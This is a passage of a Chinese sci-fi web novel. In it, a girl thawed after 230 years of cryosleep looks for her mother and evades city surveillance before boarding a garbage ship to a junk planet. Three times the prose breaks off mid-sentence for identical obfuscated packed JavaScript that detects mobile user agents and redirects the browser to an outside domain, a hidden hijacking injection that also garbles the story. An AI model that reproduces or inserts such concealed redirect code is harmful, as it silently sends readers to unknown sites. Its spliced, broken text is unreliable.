《她来自六等星》 1. 醒来 眼球能转动的时候,洛九天抬起眼睑。 一团团飘忽不定的光晕在上空游移,也不知过了多久,她的视野开始清晰,得以看清周遭的环境。 精密的器材反射着天花板的灯光,复杂缠绕的透明管,横亘在身体上方,里面流动着未知液体。机械臂绕过头顶,在她耳后一顿操作缝合,皮肉拉扯的声音格外真切。 身体渐渐有了知觉,四肢一点点变得柔软,冷意与酸乏一齐袭来,配合着机械臂时不时发出的“叮”声,洛九天莫名感觉自己像一块冷冻鱼肉,正躺在微波炉里解冻排酸。 “这就醒了?”一张人脸出现在视野上方,来人俯视着洛九天,在机械臂下方面板上快速按了几下。 面板的数据屏闪了一下,发出没有情绪的机械音:“洛九天,15岁,冷冻开始于1128年6月23日,休眠时长230年19天2时,生命体征正常,REST病毒已清除,身体机能恢复60%,语言自译芯片已植入,麻醉剂将在10分钟后失效——” 播报信息的机械音还没有念完最后一个字,便戛然而止,穿着白大褂的女人按下了结束键,并以同样毫无波澜的声音开口:“10分钟后,你可以办手续离开。” 洛九天刚刚醒来,混沌的脑袋里一锅浆糊,抬眼看着医生,费力地理解语音里的意思,一时有些愣怔。 REST病毒? 病毒…… 检索到关键信息,脑中意识像是断线重连,回忆的碎片一齐涌了上来。 苍旻基地的女子员工宿舍8楼。 洛九天趴在床头,透过玻璃窗,看向远处犹如巨人的苍蓝色机甲。 星际历1128年夏至,三分钟前,苍旻基地的全新机甲完成试机。驾驶员从机甲上下来汇报试验结果,总工舒泥辙宣布行迹感应系统更新2.0版本,整个基地响起欢呼声。 洛九天抬起望远镜,扫过许多障碍物,在主控台前的人群里,寻找妈妈洛晓河。 尽管离着很远,隔着基地的玻璃幕墙,洛九天还是在人群后排,看到了那个黑发白衣的熟悉身影。那个身影,在岗位上站得很挺拔。 洛九天下意识也挺了挺脊背,却一头撞到了挂在墙壁上的流星感应灯。 感应灯兀地亮起,洛九天嫌弃地伸手拍了灯头一巴掌,把灯拍熄。这盏感应灯,是她七岁的时候用废弃零件组装的,现在看来真就是一团垃圾,也不知道为什么她妈一直放在床头用,还一用就是八年。 柔和的灯刚暗下去,刺耳的警报声陡然在窗外炸开。 “基地遭遇攻击,导弹拦截系统启动——” “基地遭遇攻击,导弹拦截失败,防护系统开启——” “基地遭遇攻击,导弹拦截失败,防护系统开启失败——” 一连串的电子音,响彻整个基地,警示灯一排排亮起。 洛九天反应过来,探出窗看向主控台那边,却看见一枚喷涂着REST字母的生化导弹,击穿基地的防护天花板,径直飞向主控台。 主控台的防护罩根本无法阻挡导弹的袭击,而伫立在基地中央的苍蓝色机甲,作为唯一的战斗力,上面却没有驾驶员。 然而下一秒,机甲忽然张开双臂接住了导弹,轰鸣声响起,烈焰在机甲怀中炸开。 爆炸的那一瞬,洛九天看向妈妈所在的地方,发现妈妈也看向她。紧接着,震天动地,火光冲天,浓烟快速四散,一切都失去了声音。 妈妈! 洛九天喉咙一紧,喊出了声。 已经走开的医生身形顿了一顿,回头看了洛九天一眼。 此时躺在休眠舱内的洛九天,彻底慌了神。 刚才的医生说,她休眠了多少年?多少来着? 230年? 230年啊! 那她妈妈呢! 洛九天又回想起,在爆炸后的黑暗之中,在浑身每一个细胞都在撕裂般疼痛时,妈妈在她耳际说…… 她说,睡吧,九天,睡一觉就不疼了,等你醒了,一切都会好起来。 可洛九天心中却有一种不好的预感。 顾不上想其他,洛九天吸了口气想要坐起来,却发现四肢不听使唤,根本无法移动。 “别动。” 先前的女医生不知为什么又走了回来,抬眼看了面板上的时间:“你不如期待剩下的9分钟过得慢些,待会有的是你疼的时候。” 洛九天转动眼珠子,不明所以地看向医生。 医生伸出两根手指,指了指耳后的缝合口:“语言自译芯片,可以将目前载入的18447种星际语言自动翻译成你能听懂的语言,根据卡培星城法律规定,进入星城所有人必须配备,诺斯休眠公司也承接这项业务,在唤醒休眠人时,会在手术中顺带植入。当然,这笔费用,会在你的休眠余额中扣除。” 洛九天一怔,这什么休眠公司不经过她的同意,就往她脑子里植入了芯片?怕不是什么强买强卖的黑心企业? “我猜你心里一定在骂这家公司?” 医生耸了耸肩,一副无所谓的神情:“没关系,你不用否认,反正这家公司已经破产了,正在进行破产清算,如果明天还不给我结工资,我也会和你一起骂。” 啊? 刚刚醒来就见证一家百年企业破产的洛九天有点吃惊,现在的世道都这么风起云涌变化无常了吗? “请问……”洛九天喉咙干涩发疼,艰难地开口说话,正准备询问母亲洛晓河的情况,忽然回忆起从小母亲就叮嘱过自己,不能让任何人知道她的工作内容,也不能透露自己的家庭关系。 洛九天轻咳了一声,脑子却冷不丁抓住了关键:“所以不是我的家人将我唤醒,而是因为休眠公司破产了,我不得不醒?” 医生浅棕色的眉毛轻轻挑了一下:“没错,你的休眠合同上写得很清楚,唤醒时间是在REST病毒被攻克后。” “REST病毒……没了?” 当时在苍旻基地爆炸的导弹,是一枚携载REST病毒的生化导弹。 爆炸后发生的事,都因为极度疼痛而有些模糊。洛九天只记得当时在医院呆了一天,随即被转移到休眠公司。她隐隐约约听见有人说,当时的医疗条件无法将病毒从人体清除,但在180°以下的温度里,病毒也会假死,停止活跃,从而不会再对人体造成伤害。 所以她被冷冻,以期待未来有一天,医疗技术进步,病毒能得以清除。她在休眠舱里睡了230年,如今又活了过来。 “你体内的REST病毒已经清除,不用担心,待会麻醉剂失效,你记得下楼办理休眠余额结算手续。”医生埋头处理仪器,又忙碌起来。 机械臂自动挪到了对面的休眠舱,再度运作起来,繁密急促的“叮”声,一阵一阵传来。 看情况,由于休眠公司破产,今天要解冻的人似乎还挺多的。 洛九天躺在休眠舱里,回想着刚在得到的信息,越想越不对。REST病毒到底是什么时候被攻克的呢?总不能是休眠公司破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880948|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 产前一天吧? 很快,麻醉失效,耳朵后面的缝合处,针扎一样疼。沉睡已久的细胞活了过来,连疼痛都让人新鲜。 洛九天从休眠舱里爬起来,这才发现整个冷冻室很大,存放了几十台休眠舱,而她躺着的,恰好是靠门口第一台。 她咬了咬干巴巴的嘴皮,暗自思索,当时在爆炸中幸存的人,应该都感染了REST病毒,既然病毒已经攻克,说不定也会在同一天解冻呢,没准她妈妈这会儿已经醒了,就在外面等着她出去。 这么一想,洛九天就一刻也呆不下去,提起两条打颤的腿,往门外挪。 走出冷冻室,外面是一条冗长地通道,灯光明亮却不刺眼。一些人穿着和她一样的休眠服,在走廊上散乱地走动,步伐虚浮茫然,令洛九天产生了一种梦游的错觉。 顺着通道尽头的扶梯下楼,没走两步前面就排起了长队。 洛九天侧身看了看,发现队伍的尽头,是一座圆弧形岛台,看上去应该就是办手续的登记台。 一个满头羊毛卷的金发小哥,正满头大汗地戳着身前的面板。 趁着排队的功夫,洛九天的视线落在大厅内每一个人身上,渐渐地,一颗心下坠,沉到了底。 她没有找到母亲洛晓河。 甚至也没有看到任何一个熟面孔,苍旻基地的员工,一个也没有出现。 洛九天有些茫然,撇头望见了大厅上方挂着的大屏幕,上面正播放着诺斯休眠公司破产的新闻。 报道的声音被人声淹没,但屏幕上的字很清晰。 洛九天一边排队往前挪,一边仰着脖子看新闻,半天才弄明白究竟是怎么一回事。 通常,需要休眠的客户,是根据休眠年限来缴纳休眠费的,但还有很大一部分的人,他们是因为各种无法治愈的疾病,才不得不选择休眠,因而不知道自己要在什么时候醒来。 这些人会选择一个尽可能长的年限,倾其所有,缴纳大笔休眠基金,并在合同中写上附加条件,当某种疾病可以得到治愈时,就将其唤醒进行治疗,并返还客户没使用的“休眠余额”。 没想到的是,诺斯休眠公司为了吞没这笔资金,竟然私自更改合同,一直不把人唤醒。有一个青年,他的病在160年前就已经能治愈,但是他却没有被唤醒,硬生生在休眠舱多躺了160年,一直躺到最终年限,他把事情捅了出来,将诺斯休眠公司告上了法庭。 这件事一经报道,诺斯休眠公司信誉全失,许多休眠人的家属前来取消合同并且索赔,以至于诺斯休眠公司资金链断裂,只能宣告破产。 洛九天收回视线,脑子里嗡嗡地响。 下一秒,她脱离了长队,逆着人流,往休眠舱的方向走去。 她越走越快,一直到站在冷冻室门口,才觉得腿发软,但她一刻也没停,硬着头发往里挪,一边挪动一边瞅着那一排休眠舱上的名字。 没有洛晓河。 洛九天没有气馁,继续往前挪。 就算没有母亲,也应该有几个熟悉的名字才对啊。既然病毒被成功攻克,他们这一批人为什么不一起解冻? 然而一个都没有。 片刻过后,洛九天站在先前那名女医生面前:“请问REST病毒是什么时候被攻克的?那些和我一样感染REST病毒,一起休眠的人呢?” 医生忽然笑出了声,她瘦削的脸颊上,没有多少肉,颧骨因为这个不怀好意的笑容显得更加高耸。 “我就知道你会回来问我。” 2. 星城 洛九天疑惑地看着面前的医生,眼睛扫过白大褂翻折衣领上挂着的电子身份名牌。 瓦莱里雅,诺斯休眠公司解冻医师。 名字旁边显映出一张蓝底照片,三七分斜刘海低丸子头的发型,和现在并无二致,但看上去要更年轻一些,像是很久以前拍摄的。 名叫瓦莱里雅的医生注意到打量的视线,眼里闪过一丝精光,冷不丁开口:“81年前。” 洛九天很快反应过来,瓦莱里雅说的是REST病毒攻克的时间。现在是星际历1358年,如果说81年前病毒就被攻克,那她本应该在1277年被唤醒。 即使早有心理准备,但听到这个数字,洛九天还是忍不住心脏狂跳,耳后的伤口猛地刺痛起来:“和我一起感染REST病毒的其他人呢?” “小姑娘,在卡培星城,任何消息都不是免费的。其实自从81年前REST病毒被攻克过后,这种生化武器就被淘汰了,嗯……这个消息不是秘密,只要稍微查一些资料就可以知道,所以我可以免费送给你。不过——” 瓦莱里雅的话陡然打住,微微一笑:“如果你的休眠余额还能拿到10万星币的话,我可以告诉你其他你想知道的消息,如你所见,我在这家休眠公司,做了十年解冻医师。” 一个因信誉问题破产的休眠公司所雇佣的医师,现在想以10万星币的价格兜售消息。 洛九天盯着瓦莱里雅澄蓝色的瞳孔,没有答应也没有拒绝:“这家休眠公司的医师应该不止你一个吧,我也可以问别人。” “躺了两百年的人了,怎么心眼还这么多。好吧好吧,我可以再送你两支注射试剂。”瓦莱里雅挑眉,从旋转凳上站起来。 “如果你想好了,两天后可以去卡培星城第三大道1号街的福莱诊所找我,嗯,你一定要来,我觉得你应该需要注射TIDE控制剂和巨蒙鼠疫苗,你没有卡培星城的医疗保险,这两样的费用加起来刚好得花10万星币,我其实一点都不赚。” TIDE控制剂?听名字根本猜不出是什么,不过巨蒙鼠疫苗…… “你为什么觉得我需要注射那种东西?” 瓦莱里雅想到什么,微微皱了皱眉:“巨蒙鼠常出没在垃圾堆里,如果你不注射疫苗,被咬一口,会伤口溃烂高热而死,总之,你很快就会明白的。” 不知道为什么,洛九天从这句话里听出了一丝丝同情,她疑惑地看了瓦莱里雅一眼,转头离开了冷冻室。 登记台前排队的人依然很多,洛九天只好重新排队。 好不容易轮到她,登记台里面的金发小哥已经一脸麻木,根本笑不出来:“请出示您的休眠手环。” 洛九天将左手递了出去。 金发小哥握着扫描枪,对准休眠手环“滴”了一声。 很快,休眠手环屏幕亮起,上面密密麻麻显示着各种款项结算。 扣除休眠手术费、休眠舱使用费和REST病毒清除费,以及语言自译芯片植入费用,原本应该还剩下700万星币,但由于公司破产,休眠基金也大幅度缩水,最后她只剩下了10万星币的休眠余额。 洛九天有点震惊,太巧了不是,她简直怀疑那个叫瓦莱里雅的医生,已经提前算过她的余额。 更让人难过的是,虽然这笔休眠基金不是自己出的,但缩水成这样,洛九天还是心疼到面部扭曲。 “根据公司破产后签订的用户赔偿协议,被迫休眠时长1年:1万星币的金额结算赔偿,您被迫休眠81年,需要赔偿您81万星币,资料显示您是未成年人,但由于公司未能联系上您的家属,这笔钱将会在公司清算后直接转入您的账户。” 她多躺了81年,错过了很多事情,现在居然要用钱来赔偿给她,说起来真是讽刺,不过现如今她穷得响叮当,有赔偿总比没有好。 金发小哥一口气说完,不给洛九天插嘴的机会,又继续交代:“休眠手环暂时可做存蓄卡使用,将在一个月后启动系统自毁程序作废,为避免财产损失,请及时将余额转出。感谢您选择诺斯休眠公司,再见。” 洛九天站着没动:“我的东西呢?” “噢,您休眠前的随身物品,存放在储物室中,请至负1楼,扫描休眠手环开启储物柜领取。” 当时紧急休眠,其实她没多少随身物品,等取出东西,又换上自己的衣服,洛九天这才往休眠公司的大门走去。 然而让她没想到的是,休眠公司大门口的安保居然格外森严。 散发着蓝光的金属门框,一道接着一道,当有人从门框中走过,两旁巨大的镜面显示屏上,直接映射出身体内外的所有金属物品,包括耳后的语音自译芯片。 “特殊时期,请配合检查,谢谢。”穿着黑衣的安保员,伸手要接洛九天单间背着的背包。 洛九天看了他一眼,将背包递了过去。 背包里的物品被一件件拿了出来,在检测装置下反复横扫,最后确认无可疑物品,又交还到洛九天手上。 “哎,等一下。” 另外一个安保员从电子屏后面探出头来:“你不在卡培星城的居民系统里,也没有进行游客居留申请,没有居住资格,你必须在晚上8点前离开星城。” “如果不离开会怎样?”洛九天深吸了一口气。 安保员笑嘻嘻地说:“那你今晚上会在卡培流民看守所过夜,不过嘛,看守所进去容易出来难,要是你实在没钱搭乘飞船离开,就只能去NCC6716星了。” 从休眠公司的大楼出来时,外面的天色已经擦黑。 无数的霓虹灯在远处交相辉映,夜空似被调色,显出迷幻的电子氛围。悬浮的电车在透明轨道上快速穿行,袭来的风里没有尘土,都是钢铁的气息。 耳后的缝合口被夜风吹着刺刺地疼,洛九天拉起灰色开衫卫衣的兜帽,将整个脑袋都罩了进去。 拽着背包带,洛九天顺着街道往前走,心中却在盘算接下来该怎么办。 她从休眠中醒来,既没有见到母亲洛晓河,也没有碰到任何一个苍旻基地的熟人,她需要想办法得到他们的消息,暂时不能离开卡培星城。可如果不离开,就会被抓进流民看守所。 洛九天戳开自己的休眠手环,上面显示着时间——18:54,距离晚8点,还有一个小时,她必须先找地方度过这一晚。 NCC6716星…… 那是什么地方? 休眠手环的功能十分简陋,只能记录用户的个人信息,身体特征和款项余额,并且用于暂时性的支付。不过洛九天还是在手环的最后一栏发现了“查询”图标。 她点进去,在查询框输入“NCC6716星”。 很快,搜索结果页面就弹了出来,映入眼帘的是堆积成山的垃圾。 图片很小,但洛九天有被震惊到。她有猜想那肯定不是什么好地方,但是没想到居然这么恶劣。 下面是“NCC6716星”的官方百科: NCC6716星,由塔纳托企业的探矿飞船发现,根据NCC星盟判定为六等星,如今是卡培星城的牵引星。经勘测,NCC6716星矿产无可开采价值,经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880949|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塔纳托企业决定,将其作为卡培星城的垃圾场。 不是,虽然她从小就很会淘垃圾货,但不代表她想住在垃圾场啊! 洛九天退出百科页面,往下划拉了一下,发现有个关于交通的讨论帖,热度高得出奇,她好奇地戳了进去。 垃圾堆里刨食:我在星城找了个活干,必须每天坐公用飞船往返,不过末班飞船是6点,我要7点才下班,求问除了公用飞船,还有什么办法能回6716啊?? 退役杠精:一共不就两趟啊,一趟早上6点去星城,一趟晚上6点回,你咋还搞出个末班飞船,听起来好像有很多趟一样。 看淡人生:星城挣钱星城花,一分别想带回家。看来我这辈子都攒不够500万星币住进星城了。 与垃圾为邻:同求,公用飞船票价太贵了,对了,你是咋找到工作的? 垃圾场场长:@与垃圾为邻,你这个ID好像在骂人啊。 离异带小强:晚上8点不是有个垃圾运输飞船吗?可以上那个船回来,票还便宜。 …… 洛九天飞速地下滑页面,大致浏览了一下,才明白这个帖子为什么会火。一开始,这只是一个讨论交通的帖子,但随着NCC6716星的老人不断加入唠嗑,这个帖子逐渐变成了星城找工作贴、垃圾场生活经验分享贴以及免费福利通知贴。 只是没想到,因为没有星城居住资格,而住在NCC6716星的人居然这么多。 她直接打开最后一页,发现话题又回到了交通问题上来,并且日期很新。 一只巨蒙鼠:开垃圾运输飞船那老头好像生病了,昨天就没看到他,不知道新来的船长是哪个? 垃圾堆里刨食:不要啊,只有尤里老头愿意多等我几分钟,他不在了我会伤心的 洛九天抬头,目光看向霓虹灯相对黯淡的那个方向。那是卡培星城的垃圾处理中心。 每天晚上,卡培星城的垃圾会统一运到垃圾处理中心进行分类,有营养价值的厨余垃圾等,会回收磨碎作为生物肥料,而不可回收的建筑废材、破烂电器以及有害金属等,则由垃圾运输飞船,运往NCC6716星扔掉。 NCC6716星住着大批淘垃圾的流民,他们会在垃圾堆里翻找有价值的东西,进行二次变卖,以此谋生。卡培星城容许他们存在,甚至可以说,这是星城想要看到的局面。 听起来好像也不是不能生活,可细菌、辐射和鼠疫在那里肆虐,而卡培星城干净整洁,一切都是新崭崭的。如果有机会,洛九天并不想去NCC6716星。 洛九天一边沿着街道走着,一边观察这座陌生的城市,心中默默数着数。 就在她走的这几十步里,起码有不下8个摄像头。路灯上,树梢上,招牌上……包括她旁边的垃圾桶,都被安置了摄像头。 巡逻机器人不时在她身边往返,而且越来越多,似乎是已经发现了她没有居住资格,对她格外关照起来。 墙面的玻璃反射出她的身影,但不知道为什么,她总觉得人影有些扭曲,洛九天伸手上去摸了一下。 玻璃后面瞬间出现一个红点,几乎是同时,伴随着“咯吱”声,四面八方的摄像头,一齐朝向了洛九天。 那个隐藏在玻璃幕墙后的红点,也是摄像头。 洛九天眯着眼睛,对红点做了个鬼脸。 就在这时,她发现玻璃幕墙反射的画面中,有个鬼鬼祟祟的黑影,在她身后一闪而过。 洛九天身体瞬间崩紧,下意识控制住自己不往回看。她这是……被人跟踪了? 3. 躲藏 顺着大街走了一段,洛九天右拐进入人行道,那种被跟踪的感觉更加强烈。 是什么人在跟踪她? 莫非是向苍旻基地投射生化导弹的那些人,想要从她这里探知什么消息?可想想,又觉得不对。那些人这么有能耐,真要想知道什么,何必专门等她醒来再动手,大可以早早地将她唤醒。 可除了这个,她实在不理解,自己有什么值得被跟踪的? 从手环的公共搜索页面调出卡培星城的地图,洛九天假装若无其事地原地转了个圈,确认自己的方位。 眼神余光却瞥向身后跟踪自己的人,她站在原地,那人也顿住了脚步。视野有限,她只能看见不远处的黑色长裤。 洛九天眼神惺忪地仰头打了个呵欠,视线上移,想看看来人的模样,黑色长裤却忽然缩进了墙后面。 算了,管他是谁。反正也要甩掉这些巡逻机器人,一起甩掉就是。 诺斯休眠公司不是卡培星城的本土企业,而是200年前从蓝星搬来的外来户,随着这些年的发展,卡培星城不断扩大,而诺斯休眠公司的大楼,一直处于星城中央繁华地段。 而那个向NCC6716星运输垃圾的垃圾分类处理场,则在星城的边缘。一般来说,越是边缘偏僻的地方,越是疏于管控,更方便藏身。 洛九天决定前往那个方向,做两手准备,如果没办法在路上甩掉巡逻机器人和跟踪者,她还有时间搭乘垃圾运输飞船前往NCC6716星。 这会儿正是上下班的高峰期,街道上的行人多了起来,巡逻机器人被分散了注意力,不再揪着洛九天一个人不放。 洛九天在往来的人群里快速穿梭,将尾巴都甩在了后面。眼看着前面就是悬浮电车站台,想到什么,先一步拐进了旁边的一家超市。 随手从货架上拿了一瓶纯净水,洛九天走到无人结账柜台前,将休眠手环递到扫描仪下。 滴,扣除50星币,支付成功。 坏消息,这里的消费真贵,好消息,手环的支付功能可以用。 将水塞进背包,洛九天按照交通指示牌的方向,刷手环走进高架站台。一边等车,一边观察巡逻机器人的动向。 这些巡逻机器人和摄像头应该是互通网络的,由中控系统统一指挥。摄像头一旦拍摄到“可疑人员”,或者智能识别出潜在危险,附近的巡逻机器人就会通过热成像追踪系统锁定目标,聚集过来。 不过,如果她猜得不错,为了避免全城的巡逻机器人全都聚集到一个地方,它们的巡逻范围应该会有区域划分,也就是说,这些跟到站台的机器人,不会随着她上电车,去到另外一个地方。 那么只要到下一个区域前伪装自己,不被摄像头拍到,避免遇见巡逻机器人,她就可以暂时躲过搜索。 很快,悬浮电车准点到站,玻璃门向两边打开。 从背包里翻出来一个口罩戴上,洛九天随着人潮踏上了悬浮电车。 和她想的一样,巡逻机器人并没有跟上来,而悬浮电车的车厢上方,确实也有两个摄像头,好在车厢里挤满了人,她又一直低着脑袋,摄像头并没有注意到她。 大部分乘客都埋头看着自己的光脑,她看上去并不可疑。想到跟踪者也可能上了车,洛九天一上车就默默往别的车厢挪动,拉远距离。 “爸爸,那边有个小丑哥哥,我想过去看他变魔术。”一个小男孩的声音在身边响起。 “小丑不会变魔术,变魔术的是魔术师。”小男孩旁边的男人不耐烦地反驳,用手掌按住小男孩的肩膀,阻止他剥开人群往隔壁车厢挤。 洛九天顺着小孩的视线往隔壁车厢看过去,只见那里坐着一个戴着小丑面具的男人。 那个人似乎感受到视线,转过脸来。他的眼睛透过面具上的小孔,看向洛九天。 眼里隐隐有玩味的笑意。 他的脊背没有完全松懈地靠向椅背,身形微微有些佝偻着,似乎也在防备着什么,但四肢又大方舒展,好像十分熟悉这一切。 洛九天猛然间意识到,这个人可能和她一样,没有星城居住资格,也在躲避摄像头,看起来是个老手。 她下意识地向下拉了拉卫衣的兜帽,挡住自己的眼睛。 悬浮电车的速度非常快,转眼间就已经到站。玻璃门开启,洛九天下了车,看到前面小丑的背影。 如果不刻意观察,只会觉得这个人走得漫不经心,路线歪七八扭,时不时侧着身子走路,看站台墙壁上的大屏广告,时而加快脚步和旁边的人并排同行,偶尔还弯下腰来,系根本没散开的鞋带。 洛九天学得很快,几乎完美复制了他的节奏和步伐,果然这一路没有引起摄像头和训练机器人的注意。 一直到出了车站,前面的人进了一间门很小的屋子消失不见,洛九天才停住了脚步。 门上贴着两个方正的大字——住宿。 门口没有摄像头。 洛九天推门走了进去。 霓虹光被隔绝在门外,分割出两个不同的世界。屋里都是黑影,影影绰绰间能看到复古的陈设,一股沉闷浑浊的气味钻入鼻腔,让人感觉仿佛陷入深海。 “住宿?” 炫白的强光照射到脸上,洛九天下意识眯起眼睛,抬手挡在跟前。 来人是个瘦削的老头,穿着一件翻领花衬衫,他将手指间掐着的电子烟放在嘴巴里吸了一口:“我们是黑店,住宿费很贵的。” 洛九天屏住呼吸:“多少钱?” “1万星币一晚,20万包月嘛。”老头说话时,烟从鼻孔里冒出来。 那确实挺黑的。 洛九天差点被自己穷笑了,原来10万星币只能住10晚上黑旅馆。 老头看了一眼她手腕上的休眠手环,补充道:“不用登记居住身份,没有摄像头,安全可靠,价格公道,还是很划算的嘛,童叟无欺。” “不用了……我突然觉得住垃圾场也挺安全的。”洛九天摆了摆手,从黑旅馆退了出来。 恰好这时,一辆运输垃圾的货车停在外面的街道上。街边的垃圾桶下面支起两条金属腿,正迈着步子走到垃圾车厢前,自行翻倒垃圾。不过也许是垃圾桶的自动操作系统老旧,不时有垃圾掉落在地上。 看上去像是垃圾桶吐了一地…… 巡逻机器人很快赶了过来,绕着垃圾桶哔哔叨叨一顿,不知道在说什么。 她以为偏僻落魄的地方会疏于管控,但现在发现自己想茬了。这边的街区明显更落魄一些,街道也不如星城中央干净,但是摄像头却一个不少,甚至更密集。 洛九天看了一下手环,时间刚好19:35。 她现在去垃圾分类处理厂,其实还来得及,不过她还想挣扎一下。如果她没记错的话,地图显示街道斜对面是一个小公园,那里已经闭园,如果她能偷偷翻进去,说不定可以躲到明天。只要呆到明天早上6点,居住限制解除,她就可以自由活动。 她一边想着一边往街道对面走去,路过街边的方形花台,顺手从里面捞了一块装饰石头。 将石头在手里掂了掂,避过摄像头,洛九天将石头快速掷向不远处的垃圾桶。 力道不是很足,但准头还不错。正在翻倒垃圾的垃圾桶东歪西晃了两下,轰然倒地,各种垃圾从桶口宣泄而出,滚得满地都是。 巡逻机器人冲了过去,绕着垃圾桶不停发出警报。一时间,所有摄像头都对准了那块石头的位置。 趁这个时间,洛九天飞快跑到了街对面,从公园并不是很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880950|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高的围墙翻了过去。 儿童游乐区,大象滑梯内部。 洛九天靠着墙坐在地上不停喘气,半晌,平复了乱跳的心脏,才摸出纯净水喝了一口。 她检查过了,滑梯内部没有摄像头,还算安全,只要不发出声音,巡逻机器人不会注意到她。如果不出意外的话,后面几天,她说不定还能继续睡在这里。 正打算把背包里的东西都清理一遍,外面忽然传来脚步声。 洛九天顿住手。 听脚步声,是个刻意放轻脚步的成年人,但每一脚都踩在她心脏节拍上。 她才从休眠中醒来,身体机能并没有完全恢复,从前也没有学过搏击或者格斗,不到万不得已,她并不是很想和对方硬碰硬。 脚步声越来越近,洛九天透过大象鼻子的滑梯口,几乎可以看到那人的双腿。 黑色长裤,不会又是那个人吧?真是阴魂不散。 眼见着来人要走上滑梯—— 外面的摄像头忽然闪了一下白光。 照得洛九天内心拔凉拔凉的,她直觉要完蛋。 巡逻机器人几乎是下一秒就从犄角旮旯里冲了出来,发出刺耳的警报声。 “20:00,发现非法滞留人员——请注意,发现非法滞留人员——” 外面的人拔腿就跑,而巡逻机器人却并没有离开,顺着滑梯往上滑动,安装了人员监控和热成像探测系统的金属双眼,和洛九天四目相对。 洛九天恼怒地探出一条腿,以破罐子破摔的姿势,将巡逻机器人一脚揣了下去。 源源不断的巡逻机器人赶了过来,将大象滑梯包围在中间。 洛九天叹了口气,算了,没准住垃圾场也挺好的。 20:05。 在流民看守所的人赶来之前,洛九天出现在垃圾分类处理厂,打算乘坐垃圾运输车,前往垃圾星NCC6716。 需要运输的垃圾刚刚装载完毕,几个想要回垃圾星的乘客,正在围栏外等着船长放行。 洛九天身后跟着八只巡逻机器人,就那样大喇喇地排在了队伍末尾。 前面的人也许是等得不耐烦了,一个光头抱怨起来:“听说尤里老头生病了,找不到人替班,他孙女来顶班,哎,真是疯了,哪个女的会跑来开这玩意儿。” 就听见一个戴着棒球帽的男人搭腔:“就是,不过这辆垃圾运输飞船,是尤里老头的私产,他肯定也不放心别人开吧,虽说是运垃圾的,怎么着也是飞船啊,不便宜。” 之前那个光头笑着推搡旁边的同伴:“哎哟,你去把他孙女泡到手,那船不就是你的了。” 棒球帽男指着运输飞船的驾驶舱,似乎势在必得:“那倒是,虽然我现在不会开飞船,但应该也不难吧,肯定比她孙女开得好,要不……今晚就找她喝喝酒?” 说完,俩人愉悦地笑了起来。 “……”洛九天排在队伍后面,忍不住冷笑了一声。 那俩人一同回过头来看向她,面露凶光:“你笑什么?” 你们也知道你们说的话很可笑啊?洛九天心中翻了个白眼,脸上却十分茫然无辜,摇了摇头:“什么笑什么?” 那俩人顿时面面相觑,有些疑惑,以为是自己听错了。 就在此时,队伍的最前方传来一阵喧哗声。 垃圾分类处理厂的停机坪并不是很宽阔,这么大一艘运输飞船停靠着,显得地方很是逼仄。 垃圾运输飞船的表面斑驳,红色的漆大面积脱落,露出金属原本的面貌。代理船长穿着一身旧飞行服,将红色的头发扎成马尾。 她站在飞船前,利落地拔起围栏闸栓,将铁链扔在地上。 随着“哐当”一声响,她抬起手上的光脑:“挨个上船!” 4. 上船 队伍安静了片刻,接着又响起窃窃私语。 洛九天跟着队伍往前挪动,观察着他们的动作。这些人手腕上都佩戴着一只光脑,与代理船长的光脑对接后,随着绿光一闪,传出“支付成功”的提示音。 她休眠之前,光脑还是一个概念产品,只在一些通信网络公司的发布会上展示,用以彰显公司软硬件研发水平,没想到现在已经这么普及。 轮到洛九天过闸门的时候,她打开支付系统,将自己的休眠手环递了过去。 红发的代理船长微微挑眉,却什么都没说,只是迅速在手环上碰了一下,说:“进去吧。” 垃圾运输飞船的驾驶舱和垃圾舱分隔,驾驶舱内部有两排座位用以载人,里面摆放着各种工具,但比想象中要干净许多。 洛九天跟在人群中,找了个角落的位置坐下,扭头发现座椅旁边有大半桶消毒水,正散发着薄荷的清凉味,桶沿上还耷拉着一条湿毛巾。 她扭头环顾船舱,才发现隐隐有水渍的痕迹,像是刚被擦拭过。 代理船长最后走进驾驶舱,利落地关上了舱门。 “尤珈,你们家尤里老头呢?真不开船啦?”大家坐定,立马就有人寒暄起来。 “老头身体不太好,以后由我来代他。”尤珈一边走一边应答,长腿一迈坐在驾驶椅上,行云流水地按下各种开关,启动引擎。 说话的人笑得有些勉强,忧心地说:“你说你这年纪轻轻的,尤里怎么放心把飞船交给你啊。” 